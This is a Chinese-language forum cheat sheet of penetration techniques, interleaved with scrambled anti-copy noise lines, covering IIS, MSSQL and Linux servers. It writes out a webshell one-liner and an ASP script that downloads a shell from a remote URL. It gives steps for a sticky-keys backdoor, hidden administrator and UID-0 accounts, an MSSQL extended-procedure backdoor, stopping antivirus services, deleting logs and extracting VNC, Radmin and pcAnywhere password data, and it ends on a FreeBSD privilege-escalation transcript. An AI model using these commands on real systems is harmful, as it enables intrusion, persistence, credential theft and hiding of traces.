渗透技巧总结

admin

旁站路径问题
1、读网站配置。
" T/ E+ `& x5 V( Z/ D! V2、用以下VBS
On Error Resume Next
% U4 W) ]7 U+ C: c! i% TIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
( l; D. Y$ V* G! `  ^: n: R7 A' W        
1 K( ~# d% N7 d; i) G
! a1 |" t2 c3 I; h) l+ s4 Z2 B. wMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

$ }, H$ p  p0 R/ i6 A6 jUsage:Cscript vWeb.vbs",4096,"Lilo"
$ ?' ?9 d% ]! z& ?  \, i        WScript.Quit
End If
+ o4 Y& @0 O. b0 \9 U  VSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
3 s, t- s+ D+ I* x6 KFor Each obj3w In objservice
. Z* u# g! d! M        If IsNumeric(obj3w.Name)
1 z( ^# f5 K7 x7 }/ @! r' b
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
% v% L7 P! `7 @. L         
# [5 f, e6 a: m4 |. f, {! d" Z7 r- g
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

! X) y) P9 h6 B. \0 S3 W<> 0 Then WScript.Quit (1)
1 m5 }/ q9 _( W; D3 E3 n1 w+ X" t% [6 [                WScript.Echo Chr(10) & "[" &

1 f4 V. U% Y; Q4 OOService.ServerComment & "]"
; t% j! C6 x4 M! X3 l                For Each Binds In OService.ServerBindings
     

: m+ T" @) z" q: |                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
1 w7 t( P- a2 l4 {# J                        
6 n( r0 B( v& ^7 `
6 h" b) W; Y4 X0 C$ g0 b' \WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
% ^( a( ~/ G! u/ J                Next
( `& U2 ]7 R. J+ P& @      

9 p7 C% w0 p9 @6 b' o8 M; t         WScript.Echo "ath            : " & VDirObj.Path
5 y3 \# d* {% K3 Q! m. y$ C        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
9 e- ?/ Z: H& F3 ^; K. N4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
, d# T$ Z7 Q  i' C. v2 I—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
3 v$ D5 p6 W: o5 T9 cphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
" a. ^* B3 Z, L& E& }' k; vphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
6 M% z! o: y! P/ Q  J$ x$ f$ q网站可能目录(注：一般是虚拟主机类）
( _% M" f5 E# w0 d$ ?7 m5 hdata/htdocs.网站/网站/
* u9 [8 p" w7 X: d; o& t' g! ?————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
& N3 K3 K! q. E& J! l3 F% u- g) S! snetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
( Q1 O6 g) L/ b0 O. ?netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
/ t8 n2 n0 L2 V, t6 m& ?# H1 Mnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
7 t$ C* m! V8 v$ T————————————————————
命令行下添加SQL用户的方法
4 Y' O$ w. p* ^: a  I# l需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
( f9 E5 }1 ?/ S! S& o% a; Eexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
/ U2 C  s; B7 P7 b4 ~然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
& ?7 n" \# }( a! x7 r: k
& a8 |: i# \8 x- g: ]* C* C1 x% _另类的加用户方法
% O' S- |" n5 {8 g# i( _- q在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
, Z/ e8 L9 o6 e5 q' X3 mjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
: B$ [) k- O; x6 c$ y3 Uz.changePassword("123456","")
$ J0 ~5 A3 f/ }- |. O% wz.setting("AccountType")=3;
& K1 D' a: ]- S3 S* e
, i7 W: L+ g* ^$ K7 r7 Gvbs:
' w) c5 W" s8 LSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
& B4 G3 Y" w, Z% {8 Fz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
* D  l& y+ S- S( Q# w( _; @" C% xcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

' |+ R+ g& K4 T6 ]$ Z命令如下
- G2 a. f1 L6 ocacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
# A+ J5 q  U+ m# H( M  }( e————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
9 l! a/ ^1 X, b. W5 s- i' ?XP 运行mstsc /admin
* J  i' v5 S% _/ I2003 运行mstsc /console   
" s; h2 |: v' y! ?3 R+ i6 X" |
杀软关闭（把杀软所在的文件的所有权限去掉）
& c& L  q" L  K6 z- w4 X8 I处理变态诺顿企业版：
3 X# {" m( c7 ^5 s% jnet stop "Symantec AntiVirus" /y
' }4 \% y8 F# P1 U; m" Fnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
% V  j# p: a2 D3 m# A6 R. h! Enet stop "System Event Notification" /y
9 D$ A8 _9 ]" e4 b' Hnet stop "Symantec Settings Manager" /y
. a* D, U: f$ F3 z# B0 I( V
* r6 g% I2 z, j卖咖啡：net stop "McAfee McShield"
3 Q" O2 b+ X6 H  f! N————————————————————

* G' f: B# U; p( k, n. }) E1 M5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
/ J7 p4 m- @: B: B3 s. ccopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
" ~8 P1 t# r2 I  S2 e——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2 v) R* |6 Y, k2 \4 ?; T3 N2、导出注册表SAM下用户的两个键值
4 z1 H$ m' g: s8 E3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
9 \# n* ]$ n# S3 B0 [4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
2 @% r* s4 u6 D! Y' n2 N1 a0 tUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
$ K; u% K* H- i7 W/ t5 uGRANT exec On xp_helpsystem TO public;
———————————————————————
3 u9 U+ {9 }1 X+ j* B& h/ q1 B日志处理
* G7 [$ L) \# y8 N9 Z8 p  OC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
0 m- d& H6 f7 L$ a5 o5 ?% Wex011120.log / ex011121.log / ex011124.log三个文件，
/ O% p! [: [1 t7 m! m直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
9 S8 ~* c1 L$ w; Q6 d5 l$ S用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
3 S0 o2 d, U! ^8 O1 x6 b当停止msftpsvc服务后可直接删除ex011124.log
8 f, Y5 n' ?- p% P- H
MSSQL查询分析器连接记录清除：
, c7 L8 I, b" d1 U% V$ q( x, mMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
! n# z: p; P6 d" z- R1 HMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
4 Q: l" h% X; K* k6 }+ a& Y. J$ }
Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

% l# a6 s; N9 }<%
& }* _$ q4 y* g4 O1 H3 |Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
5 B" g* `/ B$ j" e; MDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
# p" w. j! ~/ [  C3 H) q) Z/ L+ [.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
, [  j* k. H3 E8 g  WSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
; ^6 B) j: i, B9 \. D% N; ]& z.Open
; T" y5 x  D. e7 [5 n' p.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
( D: O* Z4 z$ I% y2 J1 ?( z.Cancel()
.Close()
. W4 f  F1 ]' d* Q) mEnd With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
1 \% L7 a0 d! L5 ^- o# d: O; n' t%>
7 N- ~- _2 I9 t
" U! ]9 J+ P* J0 j) l0 xVNC提权方法:
3 e$ ^+ q& F# X+ t  c) y4 k利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
. R0 u6 n: i$ N" Hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
& i! u1 o. ]' x% r3 qHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
( B* L5 i8 t. k1 S. k8 a2 YHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
4 x3 X9 V  u# h0 RUsers\Application Data\Symantec\pcAnywhere\文件夹下。
/ S) }( W6 E$ Y' v& ^- k——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
7 L+ ^' Z0 |0 Y——————————————————----------
5 ~0 S; i* h4 i5 V8 d% hWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
; ]' G# d7 k% A- O9 g来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
, q2 o1 H- y! b' A& \+ Q7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
( \* r' N8 A5 Q  s<%
strSQLServerName = "服务器ip"
6 m2 j4 r5 {' U  WstrSQLDBUserName = "数据库帐号"
6 \2 y% H* l" C2 astrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
! k  E* F' v* L5 w$ j& V2 ySet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
0 k+ J2 ~" @8 a" ]9 w
* Y# _# L$ L2 u) K; d";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
% S; g, L; h3 z" ^5 d$ @+ l
strSQLDBName & ";"
conn.open strCon
  O7 H( F% c' jdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
/ r; A! z8 u, H# uid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
- s" d3 ~2 V" }, F3 r. [rs.close
%>
复制代码
+ F3 T9 e3 O0 X$ Q- Q******liunx 相关******
一.ldap渗透技巧
3 I$ T4 k$ }2 w" F/ G: s& [$ T1 Y7 ?1.cat /etc/nsswitch
. b. d. X4 I5 p* f' ]看看密码登录策略我们可以看到使用了file ldap模式
3 s0 d$ w& I; l- s
( ~: z1 K2 @, x7 V% @- m2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
2 ]# {: p: A) f找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 |* O" P- ?7 T5 j( x
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
3 f; l* Q4 |. f0 v6 Bldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# n2 p2 @& [, d( F4 c2 Y: E6 l7 B9 v
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


% V0 ~9 n! i2 w4.查找10条用户记录
4 i. x: ?& Q% n, N+ @/ z' uldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
* B) y0 U7 E1 L" k+ G7 I
0 f7 E- ]' ~  ^: d# v4 ~2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
/ X( F  H$ m! l: |
1 u( d7 U6 v+ s- N3 i+ H5 R"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
9 U) m% o. G& i( ~& D1 f  H1 D
7 ?" D- n8 {6 @3 `2 r
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

  @( O, [4 A& V渗透实战:
1.返回所有的属性
3 X$ E  o  A; F8 eldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
0 j# B% H& j( j  ~+ ]. vversion: 1
9 o1 O# }% \0 R* f. }0 adn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
4 h5 i/ F$ ]0 }: cobjectClass: top
0 Y" Q3 J3 ~, msn: manager
, z! j/ x0 N6 i4 F8 ocn: manager
2 L. Q, J5 y1 b5 P: |, l- x
' b. h" g# I' S. I) S7 A7 B& \: c2 sdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
! ]  o% G7 b8 j1 @; n; c% g6 G: tobjectClass: organizationalPerson
objectClass: person
- q) H2 @: \3 H9 M" f/ }' qobjectClass: top
0 F5 U; z. c" Y  p( J6 @+ x/ M% I7 Csn: superadmin
cn: superadmin

. C6 I. D9 B, x# K0 ?1 Q. ?dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
4 K6 E) s: L3 L3 g/ nobjectClass: person
' {! D3 A' q' H7 J4 Y* iobjectClass: top
sn: admin
cn: admin

8 D* A3 k5 ~0 Z7 {; ~. U8 jdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
/ d# w1 Q4 x5 puid: dcp_anonymous
# b. {1 t2 D* ^9 x! r& [/ O4 aobjectClass: top
objectClass: person
& o+ h. o7 [5 z. N/ _0 d' YobjectClass: organizationalPerson
6 G% f  f/ Q1 Q0 G5 X& Y0 mobjectClass: inetOrgPerson
7 T2 k/ J3 Q; V- ]3 I* psn: dcp_anonymous
$ p; j7 _- s, w8 kcn: dcp_anonymous

2.查看基类
& d" \3 Z& p9 Y& u6 |: k0 cbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
4 n( E/ Y% n/ ~3 Y! F2 ]0 \0 k9 u
* g0 B% H( ~& g4 @more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
5 {- Z% `7 m; c# ^! }9 M# H; ^version: 1
dn:
6 H+ Y" f3 D) k) @objectClass: top
7 m: A5 g* M* J$ X+ Y. ?% nnamingContexts: dc=ruc,dc=edu,dc=cn
1 g! j) Y1 l' A% v" LsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
$ o1 A2 K! T/ n5 H" m0 V. ^supportedExtension: 1.3.6.1.4.1.4203.1.11.1
4 r8 q8 T) P3 D% D% i, l6 v# a$ w7 E9 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
! k$ l+ N; [8 Y7 ysupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
/ `) f3 Z0 K1 i( DsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
8 l; k$ |+ X% L* CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
! x7 o1 a7 h1 [7 m# G3 p3 u1 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
2 f4 A: Z7 {+ J" D6 vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
2 U% u: [; {: G, UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
6 V6 F7 ?- A; t$ G, K7 R3 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
: {* T; G, ^8 [% R8 h: ~# EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
; B5 V0 x6 X* v" x1 LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
( h5 h2 p2 M* h" [) o" @) o- ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
" ]$ ^+ ]; ^6 l  \  F) @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
; O; _( L& b3 P7 ?; S. M7 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
7 c% Y$ D" A! D, p( d2 LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
% i& p3 N+ P% \$ s2 V. {/ EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
/ s: W7 H# G) Y% L. y7 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
$ y8 Z' n. ~( I% `6 `/ qsupportedControl: 2.16.840.1.113730.3.4.2
+ z8 F/ S0 Y9 u  t5 _- k& ksupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
* a- S5 a4 a. z, h. \! r; i! gsupportedControl: 2.16.840.1.113730.3.4.5
  R  g# t3 z# P' EsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
( E& e% I8 v* ysupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
: a; d  _  d( vsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
2 n5 E  I& K3 ?  `+ o8 d9 wsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
# T  }7 Q( F; k0 @5 {- jsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
. ~: Q1 m% L" Y: R, U3 tsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
- g& q( i  P. _& HsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
  _9 d1 m" T' e) v" E2 LvendorName: Sun Microsystems, Inc.
( W# s& _; b9 hvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
7 {5 K+ K- }1 Tnetscapemdsuffix: cn=ldap://dc=webA:389
/ m9 f! A: c. i1 E9 u4 KsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
* \1 o. I/ H$ A. m% J+ ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
  b* J* a3 t1 Y2 fsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
8 v1 m1 ]) W3 o6 IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
) t9 s8 C8 d% i8 \0 m7 I8 m( CsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
- ~1 E: S. c! v2 IsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
/ k+ z* ?- Q, y; ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
: `1 G5 B4 X: \" [8 `supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
1 U2 z( W- Q2 ~2 p" B. a% O7 OsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
+ T# T8 s( B3 m. w4 f2 R8 KsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
* v" i6 s& U  Y+ L; q. Y' z5 csupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
$ Z+ G% _5 d! MsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
) U; O, `; _7 @) o+ G( rsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
: m- j/ R2 X  g* c% ]. o' fsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
$ S% P. h5 N4 q- I. o+ R+ w4 nsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
9 I7 z9 I: s# f6 A5 e  LsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
1 w& I$ a5 E# u: [3 hsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
9 c0 a: m  L/ m9 |4 `supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
) N. H0 {( `7 @' `supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
: Q3 n6 L7 \' S! P* ^supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
9 c9 T) ^$ M) v  rsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
& ], T5 [7 \7 p6 hsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
$ d1 a% A& P! P" Z————————————
2. NFS渗透技巧
/ H3 h% |: t+ R# ~. m0 g. H1 Kshowmount -e ip
列举IP
) b1 Y; g7 X* G3 P9 l  E——————
! ?5 O1 b5 \) E& Y3.rsync渗透技巧
; X7 U' k3 f. j1 [, t0 q/ a1.查看rsync服务器上的列表
! j8 P$ M" N1 G/ qrsync 210.51.X.X::
finance
) @# ^  L& q: Q8 H! simg_finance
0 p  m( {! V" a) H4 U% O" U. Y. v) {auto
, B4 \% }' g( ~. P& y! Z) @img_auto
6 i; n- x# N  T1 j2 ^" B; whtml_cms
, Z+ k# P/ D% x: bimg_cms
ent_cms
ent_img
ceshi
( @/ d+ W# F4 K$ K+ H# T9 m3 gres_img
res_img_c2
chip
0 ~  ^) B7 Z. z7 U/ \chip_c2
ent_icms
games
7 i" A9 z. }3 C8 p5 G$ Egamesimg
media
mediaimg
3 ?6 y  t! s: k! E4 U6 S" qfashion
* G& x+ q& V& Q# k2 t( p8 cres-fashion
res-fo
6 [, q  L# }8 ^! y2 Ltaobao-home
: `" v0 `, Y* ures-taobao-home
house
# S5 T" U# V" j( T# ?9 Eres-house
% f1 }  K3 h  l% p4 pres-home
res-edu
8 p; c8 c% f* Q* S- x- Jres-ent
* T0 ^! Q- U7 j5 z0 G6 _res-labs
res-news
res-phtv
res-media
home
  o+ N& w9 @% zedu
* u. b+ H. |7 Y% lnews
res-book
+ k3 _2 B5 y1 ]# ~9 F' @
看相应的下级目录(注意一定要在目录后面添加上/)
0 W7 l5 k% s5 V. d& \( g

rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
3 W) O& P6 U5 X9 Z, Mrsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

0 ]  s+ e$ p! ]/ K* i4 D3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
7 F8 X0 `4 ~* s( E0 P5 l- ~
四.squid渗透技巧
  j7 i/ D& x6 O2 I% Q' znc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
7 m* n: Y8 P, O6 b+ B0 aGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
' r! }' Y- F. Q: o% c' |
1 i" u. }8 ~7 ^$ z& t六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

, ], l. n8 q  J' \6 K5 q15&catid=32:languages&Itemid=47

0 M5 Y5 }1 i  F" p2 r8 j% ?, t3 p1 Q重新设置密码
& N9 x: X2 Q+ ^index.php?option=com_user&view=reset&layout=confirm

  v  v6 m6 \# {5 K" s( }: G七: Linux添加UID为0的root用户
, H* M* S( _7 L% iuseradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
3 B4 {- a) w, `0 N9 k$ M/ `. w* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
2 q: F# E# Y, ^5 c* [argp@julius ~]$ id
5 B8 D2 B: F! q) e8 O* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
# |7 r2 a( U7 i2 \5 l
